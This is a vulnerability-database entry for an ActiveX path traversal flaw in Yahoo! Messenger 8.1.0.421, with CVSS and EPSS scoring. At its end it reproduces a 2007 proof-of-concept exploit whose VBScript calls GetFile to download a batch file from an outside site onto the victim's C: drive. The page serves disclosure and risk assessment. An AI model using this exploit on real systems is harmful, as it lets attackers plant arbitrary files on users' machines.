CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Absolute path traversal vulnerability in a certain ActiveX control in the CYFT object in ft60.dll in Yahoo! Messenger 8.1.0.421 allows remote attackers to force a download, and create or overwrite arbitrary files via a full pathname in the second argument to the GetFile method.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
6.79%
–
–
2022-04-03
–
–
6.79%
–
–
2022-05-22
–
–
6.79%
–
–
2023-03-12
–
–
–
6%
–
2023-04-02
–
–
–
4.56%
–
2023-08-27
–
–
–
3.96%
–
2023-10-01
–
–
–
4%
–
2024-01-21
–
–
–
3.79%
–
2024-02-11
–
–
–
3.79%
–
2024-06-02
–
–
–
3.71%
–
2024-06-02
–
–
–
3.71%
–
2024-06-16
–
–
–
2.74%
–
2024-07-28
–
–
–
3.64%
–
2024-09-01
–
–
–
11.74%
–
2024-11-24
–
–
–
11.74%
–
2024-12-22
–
–
–
4.26%
–
2025-01-19
–
–
–
4.26%
–
2025-03-18
–
–
–
–
5.37%
2025-03-18
–
–
–
–
5.37,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
<b>Yahoo! Messenger 8.1.0.421 CYFT Object (ft60.dll) Arbitrary File Download</b>
url: http://download.yahoo.com/dl/msgr8/us/ymsgr8us.exe
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
<b><font color='red'>This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.</font></b>
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
<b>Marked as:
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False</b>
From remote: depends by Internet Explorer settings
From local: yes
<b>Description:
This contron contains a "GetFile()" method which allows to download, on
user's pc, an arbitrary file pased as argument.
Remote execution depends by Internet Explorer settings, local execution
works very well.</b>
<b>greetz to:<font color='red'> skyhole (or YAG KOHHA)</font> for inspiration</b>
-----------------------------------------------------------------------------
<object classid='clsid:24F3EAD6-8B87-4C1A-97DA-71C126BDA08F' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe
test.GetFile "http://www.shinnai.altervista.org/shinnai.bat","c:\\shinnai.bat",5,1,"shinnai"
MsgBox "Exploit completed"
End Sub
</script>
</span></span>
</code></pre>
# milw0rm.com [2007-09-19]